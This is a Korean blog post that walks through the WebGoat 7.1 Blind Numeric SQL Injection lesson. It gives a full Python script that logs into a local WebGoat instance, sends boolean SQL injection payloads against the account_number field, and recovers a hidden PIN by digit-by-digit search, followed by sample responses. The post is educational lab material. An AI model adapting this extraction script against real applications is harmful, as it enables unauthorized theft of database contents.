본문 바로가기
보안/WebGoat 7.1

[WebGoat] Blind Numeric SQL Injection 자동화 스크립트

by yeni03o_o 2020. 10. 5.

숫자로 구성된 pin 값을 알아내는 Blind Numeric SQL Injection 실습!

Blind Numeric SQL Injection 문제

 

101 and (select pin from pins where cc_number='1111222233334444') > 10000;

과 같은 논리식을 던져서 돌아오는 응답으로 판단하는 공격!

 

따라서 해당 논리식을 이용해서 스크립트를 작성했다.
코드를 통해 WebGoat 로그인 및 세션 유지 후 Blind Numeric SQL Injection 페이지로 이동하여 해당 논리식을 입력하도록 했다.
답을 아예 모른다는 가정을 두고 초기값을 0으로 설정한 후 숫자를 증가 및 감소시키면서 pin 값을 찾은 후 추출하도록 작성했다.

#pip install requests
import requests
#pip install bs4
from bs4 import BeautifulSoup

# 답: 2364

# Burp Suite로 가로챈 url이어야 함
login_url = 'http://localhost:8080/WebGoat/j_spring_security_check'             # 로그인 페이지 url
url = 'http://localhost:8080/WebGoat/attack?Screen=586116895&menu=1100'         # Blind Numeric SQL Injection 공격이 이뤄지는 url


# 로그인 페이지의 input 태그의 name값인 username과 password. 그에 대입할 로그인할 유저 정보
Login_INFO = {
    'username': 'guest',
    'password': 'guest'  
}


# pin value 찾는 함수
def find_number():

    num = 0          # 첫 시작은 0부터 지정
    flag = 1000         # pin value를 찾기 위한 연산을 비교할 flag
                        # 1000: +1000, 100: +100, 10: +10, 1: +1

    # pin value를 찾으면 값이 main으로 return되어 while문은 종료됨
    while True:
        # pin value를 알아내기 위한 쿼리 지정
        data = {'account_number': '101 and (select pin from pins where cc_number=\'1111222233334444\') <= %d;'%num}
        r = Session.post(url, data)         # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
        soup = BeautifulSoup(r.content, 'html.parser')      # Python 내장 html.parser를 이용하여 r.content 파싱


        # 해당 조건에 맞는 모든 태그를 가져오는 find_all()를 사용하여 p태그의 1번째 값과 쿼리 입력 결과값 비교
        # <p>Invalid account number.</p>    : 존재하지 않을 때
        # <p>Account number is valid.</p>   : 존재할 때

        if str(soup.find_all('p')[1]) == '<p>Invalid account number.</p>':
            if flag == 1000:       # 0, 1000, 2000
                num = num+1000
            elif flag == 100:      # 2000, 2100, 2200, 2300
                num = num+100   
            elif flag == 10:       # 2300, 2310, 2320, 2340, 2350, 2360
                num = num+10 
            else:                  # 2360, 2361, 2362, 2363
                num = num+1
                      
        else:
            if flag == 1000:       # 3000 -> 2000
                flag = 100           
                num = num-1000
            elif flag == 100:      # 2400 -> 2300
                flag = 10
                num = num-100
            elif flag == 10:       # 2370 -> 2360
                flag = 1
                num = num-10
            else:
                return num      #2364



if __name__ == "__main__":

    # session 생성
    Session = requests.session()
    # 로그인 페이지에 앞서 작성한 Login 정보를 post 방식으로 넘겨주고, 로그인 세션 유지
    login_session = Session.post(login_url, data=Login_INFO)

    answer = find_number()      # pin value 찾는 함수로 gogo~
    print('Pin value is:', int(answer))

    Session.close()             # 세션 닫
    


# r.content 출력 결과(Invalid / Valid)
'''
<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
    The form below allows a user to enter an account number and determine if it is valid or not.  Use this form to develop a true / false test check other entries in the database.
    The goal is to find the value of the field <b>pin</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b> 1111222233334444</b>.  The field is of type int, which is an integer.
    Put the discovered pin value in the form to pass the lesson.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
    <form accept-charset="UNKNOWN" action="#attack/586116895/1100" enctype="" method="POST" name="form">
        <p>
            Enter your Account Number: 
            <input name="account_number" type="TEXT" value="101 and (select pin from pins where cc_number='1111222233334444') &lt;= 0;"/>
            <input name="SUBMIT" type="SUBMIT" value="Go!"/>
            <p>Invalid account number.</p>
        </p>
    </form>
</div>


<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
    The form below allows a user to enter an account number and determine if it is valid or not.  Use this form to develop a true / false test check other entries in the database.
    The goal is to find the value of the field <b>pin</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b> 1111222233334444</b>.  The field is of type int, which is an integer.
    Put the discovered pin value in the form to pass the lesson.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
    <form accept-charset="UNKNOWN" action="#attack/586116895/1100" enctype="" method="POST" name="form">
        <p>
            Enter your Account Number: 
            <input name="account_number" type="TEXT" value="101 and (select pin from pins where cc_number='1111222233334444') &lt;= 2364;"/>
            <input name="SUBMIT" type="SUBMIT" value="Go!"/>
            <p>Account number is valid.</p>
        </p>
    </form>
</div>

'''

 

결과적으로 Pin 값인 2364를 얻을 수 있다!

코드 실행 결과

 

 

공부하면서 학습 목적으로 작성한 포스팅이므로 내용이 완전하지 않습니다ㅠ 
계속해서 학습 후 지식이 좀 더 쌓이면 수시로 수정해나갈 예정입니다! 
틀린 내용은 둥글게 댓글 달아주시면 빠른 확인 후 수정하겠습니다. :)


참고

 

'보안 > WebGoat 7.1' 카테고리의 다른 글

[WebGoat] Blind String SQL Injection 자동화 스크립트  (0) 2020.10.05
나만 볼거지롱ㅎ  (0) 2020.10.05

댓글